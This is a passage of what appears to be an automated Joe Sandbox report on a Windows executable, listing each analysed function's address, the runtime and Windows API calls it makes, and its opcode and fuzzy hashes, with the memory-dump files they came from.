Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 62e22788655639b8fc294ace6df2bf72dda36c5940e2cb69f5321f03f315bef0
Instruction ID: c436e945a590a47500e27cd26212d84c0b81e6c7206e1d8d7475a3d080f8007f
Opcode Fuzzy Hash: 62e22788655639b8fc294ace6df2bf72dda36c5940e2cb69f5321f03f315bef0
Instruction Fuzzy Hash: 7B116654E5810B42FB5477B094562BC1E919FF2B50F440634F57DEA2C3FD1CB8A58222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE05F080 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF6FE05F0E3
FreeLibrary.KERNELBASE(?,?,?,?,?,?,00007FF6FE05EE23,?,?,?,?,00007FF6FE020377), ref: 00007FF6FE05F100

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: a766f8a0e7bd2c8c12d36500e370b6cf717aaa638450d80a18f47b53e407cafa
Instruction ID: 07bd784016d6a77c7c1538441b598ab60570ce5fa9e0bc450648b74a25aa8faf
Opcode Fuzzy Hash: a766f8a0e7bd2c8c12d36500e370b6cf717aaa638450d80a18f47b53e407cafa
Instruction Fuzzy Hash: 6511A832A08B4586DB208B59E4843297BB4F7E8758F544231E6AE836E4EF3DD565CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFE2DC0 Relevance: 2.7, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6FDFE2DD9
SetLastError.KERNEL32 ref: 00007FF6FDFE3083

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 85b01fc9dd2385e696d620e118b477d8565d40a877a840c79710b35754001cda
Instruction ID: a64ea66f7feb74a8abc3f5145b5ca68f283ca0f759fb3ab92c3523466dc69ae0
Opcode Fuzzy Hash: 85b01fc9dd2385e696d620e118b477d8565d40a877a840c79710b35754001cda
Instruction Fuzzy Hash: 2071FB36619B8586CB60DB19E49076EB7A0F7C8BA4F104125EA9DC7BA8EE38D451CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE004C00 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 00007FF6FE004D74

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _free_nolock
String ID:
API String ID: 2882679554-0
Opcode ID: b3af2ff0c18311ab22d1fc21a707ae1a8690425f7f867d5984d1b9b90b111ee8
Instruction ID: fe1bf42dbbee3002bcdba78e6f981232ec5d5e369026a2efacfdf47a620109ec
Opcode Fuzzy Hash: b3af2ff0c18311ab22d1fc21a707ae1a8690425f7f867d5984d1b9b90b111ee8
Instruction Fuzzy Hash: AE51BB76618B4982DB60DF1AE49012E7BB1F7D9B94F101232EB9D87BA8DF3CD4518B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFEDFF0 Relevance: 1.6, APIs: 1, Instructions: 102stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strrchr.LIBCMTD ref: 00007FF6FDFEE178

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-0
Opcode ID: 89b1068a0023759cda3ceb920f6e8c1857f0eae96593cfe7be954dcf565d8c29
Instruction ID: 150ea7fdc55fdb182282313052b3a894e30985dc82eb10c9843b266f61f70688
Opcode Fuzzy Hash: 89b1068a0023759cda3ceb920f6e8c1857f0eae96593cfe7be954dcf565d8c29
Instruction Fuzzy Hash: 6051CB36619B8886DB60CB4AE49031EBBA0F7C8B94F144225EADD47BA8DF7DD544CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0AE0C0 Relevance: 1.6, APIs: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE0AE1B7

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0e89df1cee367fa0f0f46a6ac241d8f662de84c4c6795c4a8f44f9d2dcd22c84
Instruction ID: e7a11c2123221a590903fe2e8d4cb2b61375c0e01a38e5cf401e626242554677
Opcode Fuzzy Hash: 0e89df1cee367fa0f0f46a6ac241d8f662de84c4c6795c4a8f44f9d2dcd22c84
Instruction Fuzzy Hash: DD318F32A1865A85E7016F65CC4137C3EA1AFE4BA0F510235F93D833D6EF7CA4A28712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0B1698 Relevance: 1.6, APIs: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE0B16BB

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 577015f382c4b3755d8f64dd5a887aadd0f37ae10328c7424eed687849d3f455
Instruction ID: ff3ec5ef1b308683df46ba61e41d4a2e25936886d0cc1b7b906424a536752c4f
Opcode Fuzzy Hash: 577015f382c4b3755d8f64dd5a887aadd0f37ae10328c7424eed687849d3f455
Instruction Fuzzy Hash: 9F218732E18A4287D7619F28D4407797AA1FBE4B98F584235F66DC76D9EF3DD8208B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09AC60 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FE09AC7F

Part of subcall function 00007FF6FE09AD68: GetModuleHandleExW.KERNEL32 ref: 00007FF6FE09AD84
Part of subcall function 00007FF6FE09AD68: GetProcAddress.KERNEL32 ref: 00007FF6FE09AD9A
Part of subcall function 00007FF6FE09AD68: FreeLibrary.KERNEL32 ref: 00007FF6FE09ADB7

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 1dc9139e11363fa82b7be69403f460f39e9a84a2ce977399372339b1150ab367
Instruction ID: 76e81f45094e7c0c5707826dca0d6bd7eab1fa1c35fc13645b0cfa96d83f577e
Opcode Fuzzy Hash: 1dc9139e11363fa82b7be69403f460f39e9a84a2ce977399372339b1150ab367
Instruction Fuzzy Hash: 8C214C72E05B418AEB158F64C4442EC3BB0EB9471CF54493AE66D87BC9EF38D5A5CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09B114 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09B080

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 023d0aab57ed6f467ea251b0bc75c069ffa40aacfcbe2261f6c8a82ef05c1b62
Instruction ID: fd18136c2537c20a95c4abffa0c552f06597709848314a6ee964d1205ebb4c92
Opcode Fuzzy Hash: 023d0aab57ed6f467ea251b0bc75c069ffa40aacfcbe2261f6c8a82ef05c1b62
Instruction Fuzzy Hash: 84117222A1C68A45FB719F55D4003BDAA60AFE5B94F544031FA7C87BCEEF2DD9608B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09B3A0 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09B3F4

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d80676324fc048e8d4e4a872a728742d6b00377b6fd520cac49514b25728106e
Instruction ID: 0aa4f332c309774badaaa8e809299c2b6a4e48657d78a0ca6d40b4e96baead2c
Opcode Fuzzy Hash: d80676324fc048e8d4e4a872a728742d6b00377b6fd520cac49514b25728106e
Instruction Fuzzy Hash: 1501AC21A0878940EB00DF52980107DAA90BFE5FE0B088631FE7C87BDAEE3CD0218700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFDACA0 Relevance: 1.5, APIs: 1, Instructions: 42stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strrchr.LIBCMTD ref: 00007FF6FDFDAD47

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-0
Opcode ID: 780b0584eb1b015e06906ae28c91b89760f41660562197ec5489c976ab8378eb
Instruction ID: 00d9bca6545747f39f40152bb1b1af6e7cadd684548b5123a8274944573f9c41
Opcode Fuzzy Hash: 780b0584eb1b015e06906ae28c91b89760f41660562197ec5489c976ab8378eb
Instruction Fuzzy Hash: 0F11D6329086868BE720DB15E04442EB7A2F7D5755F100235EB9C87BA8EF3DE940CF48

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0AD534 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afefbf03386326cba4bd6de125ee669795ec973f90e0913fdea4b7710bc3827
Instruction ID: fc880f039c162fe4e0938bbe3fd1acbac68028cfbcfca27af10bbc52c1d6da1d
Opcode Fuzzy Hash: 7afefbf03386326cba4bd6de125ee669795ec973f90e0913fdea4b7710bc3827
Instruction Fuzzy Hash: 1A11947291864A85E705AF64D4402AC7F60EBE0B68F904136F66D863D9EF7CE060CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09AF18 Relevance: 1.5, APIs: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09AF35

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c07a60661377560c6146fae524e41e5065d009a8dbb5852721a82c0868e09a53
Instruction ID: 8b4f8c6e81491e40e8f4b1243941e64bf9bb7414f9c30d42055e2714247de675
Opcode Fuzzy Hash: c07a60661377560c6146fae524e41e5065d009a8dbb5852721a82c0868e09a53
Instruction Fuzzy Hash: 07018462A0854641FF546FB9942537D2A609FE5B78F540330F93EDA3DAFE2CE4618240

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0A921C Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6FE0AAB79,?,?,?,00007FF6FE09AF01,?,?,?,?,00007FF6FE0B02A3), ref: 00007FF6FE0A9271

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4ef4a8a9c81e310ef11842bcd22d7f0a9f6f10a443543fb6a607013a95f03771
Instruction ID: 43204c0f89d38b54d69f7eed8819d377479e5067b6ffe5d119b86ff5068713c6
Opcode Fuzzy Hash: 4ef4a8a9c81e310ef11842bcd22d7f0a9f6f10a443543fb6a607013a95f03771
Instruction Fuzzy Hash: 6DF04954F4920B81FF545AE5A4143B52A965FF9F80F884031ED2ED66EAFE1CE4A14320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09AF9C Relevance: 1.5, APIs: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09AFBE

Part of subcall function 00007FF6FE09AF18: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09AF35

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2ee4ea5e302c4353973c3e6e1fb43efa5bc80fb753a258f7a760c2d1a5460acc
Instruction ID: 3960bfd398db0ebb6d8da2fa0a9950a47fd8af568e619d0db6bdb1fc26c5967b
Opcode Fuzzy Hash: 2ee4ea5e302c4353973c3e6e1fb43efa5bc80fb753a258f7a760c2d1a5460acc
Instruction Fuzzy Hash: 9EF0BE21A4C54641FB44AFAAA4211BC3AA0AFE5790F640230F67DD63CBFE2CE4618710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFD5074 Relevance: 1.5, APIs: 1, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00007FF6FDFD50C2

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction ID: 0a08c90a9e216e3b90b8f7bee2a0308713183bf1a6597ea9828531176415010a
Opcode Fuzzy Hash: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction Fuzzy Hash: 6B016922205A8585D7069F3AC4444ACB7A4FB09F8DB0C4221DF885736CEF25E145C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE02ADE0 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00007FF6FE02AF20,?,?,?,?,00007FF6FE02AABE), ref: 00007FF6FE02AE07

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b234133ac9701a7e180f97e51e021304d3a985ac5e6dee729acabcbe2f3f2af1
Instruction ID: e45ecabea6f0ba53fa6c7a1bd595c1a044387403f49951eb59987647abbb5bad
Opcode Fuzzy Hash: b234133ac9701a7e180f97e51e021304d3a985ac5e6dee729acabcbe2f3f2af1
Instruction Fuzzy Hash: EBE0C97261C68186D720CF15E44021ABBF4F7D4784F500525FACC43A58DF7DD5658F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE02AD30 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007FF6FE02AD5D

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aad2cdb57a82e606b8bf1909aa5a5b1721187632c9fd2cb9b286997d59227066
Instruction ID: 107d12280f06e02a3c87cc29b246904aaf086a87dee52fb07eb0e9c4e0ee9892
Opcode Fuzzy Hash: aad2cdb57a82e606b8bf1909aa5a5b1721187632c9fd2cb9b286997d59227066
